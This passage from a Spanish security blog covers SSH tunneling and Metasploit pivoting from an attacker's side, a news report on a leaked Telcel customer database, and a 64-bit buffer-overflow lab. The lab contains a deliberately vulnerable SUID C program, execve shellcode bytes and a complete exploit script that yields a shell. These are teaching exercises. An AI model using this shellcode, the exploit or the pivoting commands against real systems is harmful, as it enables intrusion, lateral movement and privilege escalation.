A partir de ese momento tendremos escuchando en la máquina del atacante un proxy SOCKS en el puerto 9050 y podemos usar cualquier programa (un navegador por ejemplo) para que lo utilice. Sin embargo, si el programa no soporta configurar proxy podremos aún forzarlo mediante proxychains. Para ello bastará configurar el fichero /etc/proxychains.conf añadiendo la línea: "socks4  127.0.0.1 9050" y luego poniendo delante "proxychains" cuando usemos la herramienta que necesitemos:

proxychains rdesktop 192.168.2.3

Remote port forwarding

El "reenvío de puertos remoto" también llamado reverso o inverso, es lo contrario al local. Es decir, se utiliza para hacer accesible un puerto del servidor del atacante desde el servidor comprometido.
Veamos también su sintaxis y uso:

ssh -R remote_port:local_address:local_port username@server.com
ssh -R 8888:192.168.2.33:1234 bob@ssh.youroffice.com


Con el comando anterior, cuando alguien acceda al puerto 8888 del servidor remoto estará siendo redirigido realmente al puerto 1234 de la máquina del atacante.

Sin embargo, para que esto funcione tendremos que añadir la línea "GatewayPorts yes" en el fichero de configuración /etc/ssh/sshd_config.

Bonus: VPN sobre SSH

Desde la versión 4.3 de openssh, es posible tunelizar el tráfico de red de la capa 3 a través de un canal ssh establecido. Esto tiene una ventaja sobre un túnel típico de tcp porque tenemos el control del tráfico IP. De esta manera por ejemplo podemos realizar un SYN-scan con nmap y usar sus herramientas directamente sin recurrir a proxychains u otras herramientas de proxificación.

Esta VPN se realiza a través de la creación de dispositivos tun en el lado del cliente y del servidor y la transferencia de datos entre ellos a través de la conexión ssh. Esto es bastante simple, pero se necesita root en ambas máquinas ya que la creación de dispositivos tun es una operación privilegiada.

Estas líneas deben estar presentes en su archivo /etc/ssh/sshd_config (en el lado del servidor):

PermitRootLogin yes
PermitTunnel yes


El siguiente comando en el cliente creará un par de dispositivos tun en el cliente y el servidor:

ssh username@server -w any:any

Con el parámetro -w establecemos el túnel entre los dispositivos especificados. Si ponemos "any" como en el ejemplo el sistema cogerá el primer interfaz tun disponible.
Un vez creado el túnel procederemos a configurar los interfaces tun.

En el cliente:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

En el servidor:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Y tendremos que configurar el reenvío IP y el NAT en el servidor:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE


Ahora podemos hacer que el peer 1.1.1.1 sea la puerta de enlace predeterminada o enrutar un host o una red específicas a través de él:

route add -net 10.0.0.0/16 gw 1.1.1.1

En el ejemplo, la interfaz de red externa del servidor es eth0 y los dispositivos tun creados recientemente en ambos lados son tun0.

Truco del día

Seguramente os habréis dado cuenta que cada vez que creamos un túnel con SSH también obtenemos una shell. Esto no suele ser necesario cuando solo intentamos crear un túnel. Para evitar esto, podemos ejecutar SSH con los parámetros -nNT, como el siguiente ejemplo, lo que hará que SSH no asigne un tty y solo reenvíe los puertos.

$ ssh -nNT -L 9000: imgur.com: 80 user@example.com

-N : esta opción es la que indica que no se abra la shell, solo reenvío de puertos.

-n : se utiliza cuando ssh se ejecuta en background y previene que se lea de stdin.

-t : desactiva pseudo-tty

Fuentes:

- A Red Teamer's guide to pivoting
- SSH Tunnel - Local and Remote Port Forwarding Explained With Examples
- The Black Magic Of SSH / SSH Can Do That?
- How to Use SSH Tunneling to Access Restricted Servers and Browse Securely

Taller de pivoting: Metasploit

Hoy vamos a empezar con una serie de entradas relacionadas con el pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una máquina comprometida en la red objetivo, dependiendo de la configuración del equipo de la víctima, es posible que necesitemos o no tener root o privilegios de administrador.

En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesión de meterpreter sobre la máquina de la víctima.

En una auditoría de caja negra o una intrusión real, lo normal es que no tengamos nada de información del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeración inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy útil para identificar los host vivos dentro de la subred:
meterpreter > run arp_scanner -r 192.168.2.0/24
[*] ARP Scanning 192.168.2.0/24
[*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16

En el caso de que partamos de un equipo Windows, una buena opción es ver las conexiones y los puertos abiertos mediante el módulo de gathering tcp_netstat:
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > sessions
    ...sessions...
msf post(tcpnetstat) > set SESSION <session-id>
msf post(tcpnetstat) > show options
    ...show and set options...
msf post(tcpnetstat) > run

O si el target inicial es Linux tenemos otro módulo muy completo Linux Gather Network Information que recopila información de red de las reglas de IPTables del sistema de destino, interfaces, información de la red inalámbrica, puertos abiertos y de escucha, conexiones de red activas, información DNS e información SSH.
use post/linux/gather/enum_network
msf post(linux/gather/enum_network) > set sessions 5
sessions => 5
msf post(linux/gather/enum_network) > exploit

[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
[*] Post module execution completed
msf post(linux/gather/enum_network) > show options

Module options (post/linux/gather/enum_network):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf post(linux/gather/enum_network) > set session 5
session => 5

msf post(linux/gather/enum_network) > run

Para seguir descubriendo información de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit también incluye un módulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ningún controlador. Además, el módulo excluye automáticamente su propio tráfico de control de la captura de paquetes.
meterpreter > use sniffer
Loading extension sniffer...success.

meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true 

meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)

meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
        bytes: 17675
        packets: 196

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap

meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1

Y, cómo no, la opción más clásica de descubrimiento de sistemas en el mismo rango de red es el típico escáner de puertos, para lo que Metasploit dispone de un módulo auxiliar con cinco escáneres diferentes para detectar las máquinas presentes y los servicios que corren:
  • ack – ACK Firewall Scanner
  • ftpbounce – Bounce Port Scanner
  • syn – SYN Port Scanner
  • tcp – Port Scanner
  • xmas  – “Xmas” Port Scanner
msf exploit(handler) > use auxiliary/scanner/portscan/tcp 
msf auxiliary(tcp) > set RHOSTS 192.168.2.43
RHOSTS => 192.168.2.43
msf auxiliary(tcp) > set PORTS 1-1024
PORTS => 1-1024
msf auxiliary(tcp) > run

Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras máquinas fuera del segmento de red de la máquina comprometida, tendremos que añadir previamente las rutas correspondientes:
meterpreter > route add 192.168.33.0/24 5
[*] Route added
meterpreter > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.33.0         255.255.255.0      Session 5

[*] There are currently no IPv6 routes defined.

Adicionalmente disponemos de autoroute automatiza la adicción de las rutas asociadas con la sesión Meterpreter especificada a la tabla de enrutamiento de Metasploit.

meterpreter > run autoroute -s 192.168.33.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.33.0/255.255.255.0...
[+] Added route to 192.168.33.0/255.255.255.0 via 10.10.10.65
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.33.0         255.255.255.0      Session 5

Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco más de configuración. Esto implica la configuración del módulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j

El fichero de configuración de Proxychains está localizado por defectp en /etc/proxychains.conf:
socks4 127.0.0.1 1080

Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a máquinas y recursos a través de las rutas Metasploit.
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24

A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada máquina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos básicamente reenviar conexiones TCP a través de esta máquina.
msf > sessions -i 1
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80
meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5
meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2
[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22

Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:

http://127.0.0.1:8000

Y hasta aquí esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos más técnicas y herramientas para pivotar y poder así conseguir movimiento lateral y avanzar en intrusiones.

sábado, 2 de enero de 2021

Se filtran supuestas bases de datos de Telcel en México: revelan nombre, dirección y hasta datos bancarios de más 500 mil usuarios

Vaya forma de terminar el 2020 para Telcel y más de medio millón de sus usuarios que han vista filtrada gran parte de su información sensible, como nombre, dirección, RFC y hasta datos bancarios.

Quizás la filtración más grande en la historia de Telcel

El usuario de Twitter @hiramcoop, co-fundador de la firma consultora de ciberseguridad Seekcurity, reportó en una publicación la filtración de dos supuestas bases de datos de usuarios de Telcel en México. La primera, según la publicación, contiene la información de casi 700 mil registros de usuarios y la segunda tiene "36 mln".

Filtracion Bases Datos Usuarios Telcel Mexico Planes Renta 2016
Captura de pantalla de una las publicaciones de la base de datos

Según el reporte, el nombre del archivo hace referencia a que la base de datos contiene la información de usuarios de planes de renta del año 2016 de la región 1 de Telcel, correspondiente a los estados de Baja California, Baja California Sur y el municipio San Luis Río Colorado, Sonora.

Por otro lado, Hiram Alejandro tuvo acceso a la primera base de datos y menciona que en realidad contiene 588, 350 registros, 111,000 menos de los 699,350 prometidos por los cibercriminales que publicaron la información. Más importante aún, la base de datos tiene registro de información sensible que va desde nombre, dirección y RFC hasta modelo e IMEI del smartphone en uso, números de tarjetas y números de contactos personales.

Hiram se dio a la tarea de validar la información con ayuda de bases de datos públicas y dio varios ejemplos que apuntan a que la información es verídica, coincidiendo nombre, número y ubicación de tres usuarios que aparecen en la base de datos.

Sin más detalles por ahora, las pruebas apuntan a que esta es quizás la filtración más grande en la historia de Telcel. Mientras tanto, desde Xataka México nos hemos puesto en contacto con Telcel para preguntar por una postura al respecto de este delicado tema, y en cuanto tengamos respuesta actualizaremos esta publicación.

martes, 29 de diciembre de 2020

Taller de exploiting: baby BOF en Linux x64

Voy a retomar los ejercicios de exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:   

  • Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI. 
  • El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente. 
  • Se han proporcionado registros adicionales: R8 a R15. 
  • Los punteros tienen un ancho de 8 bytes. 
  • Push/pop en la pila tienen 8 bytes. 
  • El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF. 
  • Los parámetros de las funciones se pasan a través de registros.   

Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:  

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
    puts("No shell!");
    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    return 0;
}
 Lo compilamos sin las protecciones correspondientes:  
$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64
Le ponemos el SUID para obtener posteriormente una root shell:  
$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64
Y no olvidemos desactivar temporalmente ASLR para el ejercicio:  
echo 0 > /proc/sys/kernel/randomize_va_space 
Probamos la ejecución normal del programa:  
$ ./ejercicio1x64 
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
 
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAa

Ya tenemos el binario así que vamos manos a la obra :-P

Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.   

Para crear rápidamente un fichero con esas 400 "A"s:  

$ python3 -c 'print "A"*400' > in.txt
 Y lo pasamos en la ejecución con el debugger:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A' ...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('A' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 
: push rbp 0x555555554719
: mov rbp,rsp 0x55555555471c
: sub rsp,0x10 0x555555554720
: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd958 ('A' ...) 0008| 0x7fffffffd960 ('A' ...) 0016| 0x7fffffffd968 ('A' ...) 0024| 0x7fffffffd970 ('A' ...) 0032| 0x7fffffffd978 ('A' ...) 0040| 0x7fffffffd980 ('A' ...) 0048| 0x7fffffffd988 ('A' ...) 0056| 0x7fffffffd990 ('A' ...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000555555554717 in vuln ()

Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto. Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción. 

Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.   

Podemos usar un patrón cíclico para encontrar este desplazamiento:  

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Ahora lo volvemos a ejecutar con ese patrón:  
gdb-peda$ r < in.txt 
Starting program:  /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!

Program received signal SIGSEGV, Segmentation fault.


[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1 
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 
: push rbp 0x555555554719
: mov rbp,rsp 0x55555555471c
: sub rsp,0x10 0x555555554720
: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...) 0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...) 0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) 0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...) 0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...) 0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...) 0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...) 0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000555555554717 in vuln ()

Como veis se puede observar el patrón en el stack. 

Nos centramos en el contenido del stack pointer:  

gdb-peda$ x/wx $rsp
0x7fffffffd958:	0x41413741
Y encontramos su offset:  
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
Entonces, en RIP está en el offset 104 así que actualizamos nuestro payload y vemos si podemos sobrescribir RIP esta vez:  
python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)' > in.txt 
Como veis packeamos en little-endian el valor del RIP (unsigned long long) y luego añadimos padding para llegar a los 400 bytes. Pasamos nuestro payload a la función:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C' ...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('C' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C' ...)
0008| 0x7fffffffd968 ('C' ...)
0016| 0x7fffffffd970 ('C' ...)
0024| 0x7fffffffd978 ('C' ...)
0032| 0x7fffffffd980 ('C' ...)
0040| 0x7fffffffd988 ('C' ...)
0048| 0x7fffffffd990 ('C' ...)
0056| 0x7fffffffd998 ('C' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

Y voilà! ya tenemos controlado el RIP. 

Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.   

Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179

Para ello almacenamos el shellcode en la pila a través de una variable de entorno:

$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')

Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.   

A continuación encontramos su dirección usando getenvaddr:  

$  ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445
Así que con eso ya podemos completar el payload final de nuestro exploit:  
#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)

f = open("in.txt", "w")
f.write(buf)
Por último generamos el fichero in.txt y se lo "enchufamos" a nuestra función vulnerable:  
$ (cat in.txt ; cat) |  ./ejercicio1x64 

Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r

Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.

Fuentes: 

viernes, 25 de diciembre de 2020

¡Feliz Navidad!

from colorama import init, Fore

#Colores
verde = Fore.GREEN
rojo = Fore.RED

init()

num=10

for i in range(num):
	#print(i)
	print(f"{verde} "*(num- i- 1)+ "*" * (2 * i + 1))

for n in range(int (num/2)):
	print(f"{rojo} " * int (num - num/4) + "|" *int (num/2))
print("¡Feliz Navidad Ñajaja!\n¡Desde Clown Saw :') !") 

Que tus saludos Navideños recorran grandes distancias sin que se pierda en el camino el sentimiento ni los buenos deseos que quieres transmitir a quienes se encuentran lejos.

Feliz Navidad a todos les deseo lo mejor, que la pasen bien con la familia en estos tiempos de pandemia...
nunca olviden el orgullo navideño siempre firme y hacia delante que todo va a mejorar y podran estar con los amig@s sin riesgos y con felicidad, y espero y sus conocimientos crescan mucho mis Ghost Clown, Pueden
escribirme a la cuenta de instagram para sus dudas; y bueno feliz navidad y propero año nuevo se cuidan mucho......

Pensamiento: Mis Ghost Clown en este 31 que viene porfavor antes de comer rezen por aquellos que no tienen la oportunidad de festejar la navidad y por aquellos niños que no tienen hogar. Se que les parecera raro lo que dije, pero todos somos seres humanos y hay que apoyarse unos a otros... Muchas Gracias.

Clown Saw.....Fuera

 

CLOWN SAW